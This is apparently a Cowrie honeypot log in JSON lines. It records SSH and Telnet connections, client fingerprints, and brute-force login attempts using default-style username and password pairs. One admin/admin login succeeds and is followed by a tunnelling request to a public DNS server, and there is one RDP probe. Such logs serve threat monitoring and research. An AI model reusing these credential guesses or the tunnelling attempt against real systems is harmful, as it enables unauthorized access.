{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":51008,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ee364d8e31","protocol":"ssh","message":"New connection: 186.219.184.142:51008 (10.17.0.5:22) [session: 15ee364d8e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:49.090316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:49.095561Z","src_ip":"186.219.184.142","session":"15ee364d8e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:49.234602Z","src_ip":"186.219.184.142","session":"15ee364d8e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:49.822454Z","src_ip":"186.219.184.142","session":"15ee364d8e31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47414,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ea4ce224d6","protocol":"telnet","message":"New connection: 192.119.13.58:47414 (10.17.0.5:23) [session: 21ea4ce224d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:49.873108Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:50.968643Z","src_ip":"186.219.184.142","session":"15ee364d8e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.80172920227051,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:52.646321Z","src_ip":"192.119.13.58","session":"d51ef9c9a3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bf595085d15","protocol":"telnet","message":"New connection: 192.119.13.58:60214 (10.17.0.5:23) [session: 7bf595085d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:52.920215Z"}
{"eventid":"cowrie.session.closed","duration":36.83263087272644,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:54.525641Z","src_ip":"192.119.13.58","session":"73c3802d1fd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81206727027893,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:00.651695Z","src_ip":"192.119.13.58","session":"505642c96c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42528,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb4154747537","protocol":"ssh","message":"New connection: 103.27.238.114:42528 (10.17.0.5:22) [session: fb4154747537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:02.937572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:02.943901Z","src_ip":"103.27.238.114","session":"fb4154747537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:03.215705Z","src_ip":"103.27.238.114","session":"fb4154747537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000123","message":"login attempt [root/000123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:04.028799Z","src_ip":"103.27.238.114","session":"fb4154747537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:05.302809Z","src_ip":"103.27.238.114","session":"fb4154747537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.49186706542969,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:20.237230Z","src_ip":"192.119.13.58","session":"1e17446ee228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.204416275024414,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:22.615062Z","src_ip":"192.119.13.58","session":"c3a00e69bf39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66041350364685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:24.580490Z","src_ip":"192.119.13.58","session":"7bf595085d15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":37688,"dst_ip":"10.17.0.5","dst_port":22,"session":"47017bdb0741","protocol":"ssh","message":"New connection: 91.4.14.170:37688 (10.17.0.5:22) [session: 47017bdb0741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:26.793170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:26.798318Z","src_ip":"91.4.14.170","session":"47017bdb0741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:26.910478Z","src_ip":"91.4.14.170","session":"47017bdb0741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa168168","message":"login attempt [root/Aa168168] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:27.381752Z","src_ip":"91.4.14.170","session":"47017bdb0741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:28.483205Z","src_ip":"91.4.14.170","session":"47017bdb0741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33716,"dst_ip":"10.17.0.5","dst_port":23,"session":"372e356a756b","protocol":"telnet","message":"New connection: 192.119.13.58:33716 (10.17.0.5:23) [session: 372e356a756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:35.173235Z"}
{"eventid":"cowrie.session.closed","duration":47.27610468864441,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:37.149105Z","src_ip":"192.119.13.58","session":"21ea4ce224d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37130,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f79ee542dd","protocol":"telnet","message":"New connection: 192.119.13.58:37130 (10.17.0.5:23) [session: 28f79ee542dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:43.503099Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53670,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bdc0bbb6dba","protocol":"telnet","message":"New connection: 192.119.13.58:53670 (10.17.0.5:23) [session: 6bdc0bbb6dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:47.696385Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59247,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ae4011be19","protocol":"ssh","message":"New connection: 152.42.212.128:59247 (159.203.135.109:22) [session: 00ae4011be19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:54.972209Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:54.980946Z","src_ip":"152.42.212.128","session":"00ae4011be19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:54.986001Z","src_ip":"152.42.212.128","session":"00ae4011be19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36922,"dst_ip":"159.203.135.109","dst_port":22,"session":"52772603898b","protocol":"ssh","message":"New connection: 62.133.62.83:36922 (159.203.135.109:22) [session: 52772603898b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:56.376715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:56.432105Z","src_ip":"62.133.62.83","session":"52772603898b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:56.483122Z","src_ip":"62.133.62.83","session":"52772603898b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123q","message":"login attempt [root/qwe123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:56.845593Z","src_ip":"62.133.62.83","session":"52772603898b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:34:57.927171Z","src_ip":"62.133.62.83","session":"52772603898b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44420,"dst_ip":"10.17.0.5","dst_port":23,"session":"77821b8f5883","protocol":"telnet","message":"New connection: 192.119.13.58:44420 (10.17.0.5:23) [session: 77821b8f5883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:00.148433Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35150,"dst_ip":"10.17.0.5","dst_port":23,"session":"c511fa403b19","protocol":"telnet","message":"New connection: 192.119.13.58:35150 (10.17.0.5:23) [session: c511fa403b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:04.003010Z"}
{"eventid":"cowrie.session.closed","duration":0.00618743896484375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:04.009061Z","src_ip":"192.119.13.58","session":"c511fa403b19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32636,"dst_ip":"10.17.0.5","dst_port":22,"session":"48d6fe162b8e","protocol":"ssh","message":"New connection: 87.251.64.176:32636 (10.17.0.5:22) [session: 48d6fe162b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:12.422160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:12.428972Z","src_ip":"87.251.64.176","session":"48d6fe162b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:12.533778Z","src_ip":"87.251.64.176","session":"48d6fe162b8e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:12.826606Z","src_ip":"87.251.64.176","session":"48d6fe162b8e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:12.927239Z","session":"48d6fe162b8e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:13.028032Z","src_ip":"87.251.64.176","session":"48d6fe162b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:13.128767Z","src_ip":"87.251.64.176","session":"48d6fe162b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42998,"dst_ip":"10.17.0.5","dst_port":23,"session":"093311570a2a","protocol":"telnet","message":"New connection: 192.119.13.58:42998 (10.17.0.5:23) [session: 093311570a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:13.215346Z"}
{"eventid":"cowrie.session.closed","duration":38.76752471923828,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:13.940667Z","src_ip":"192.119.13.58","session":"372e356a756b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":43780,"dst_ip":"10.17.0.5","dst_port":22,"session":"b76be9dbe387","protocol":"ssh","message":"New connection: 186.219.184.142:43780 (10.17.0.5:22) [session: b76be9dbe387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:19.569015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:19.573856Z","src_ip":"186.219.184.142","session":"b76be9dbe387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:19.715802Z","src_ip":"186.219.184.142","session":"b76be9dbe387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44668,"dst_ip":"10.17.0.5","dst_port":23,"session":"8619922be9db","protocol":"telnet","message":"New connection: 192.119.13.58:44668 (10.17.0.5:23) [session: 8619922be9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:20.277445Z"}
{"eventid":"cowrie.login.failed","username":"mpi","password":"mpi","message":"login attempt [mpi/mpi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:20.307958Z","src_ip":"186.219.184.142","session":"b76be9dbe387","protocol":"ssh"}
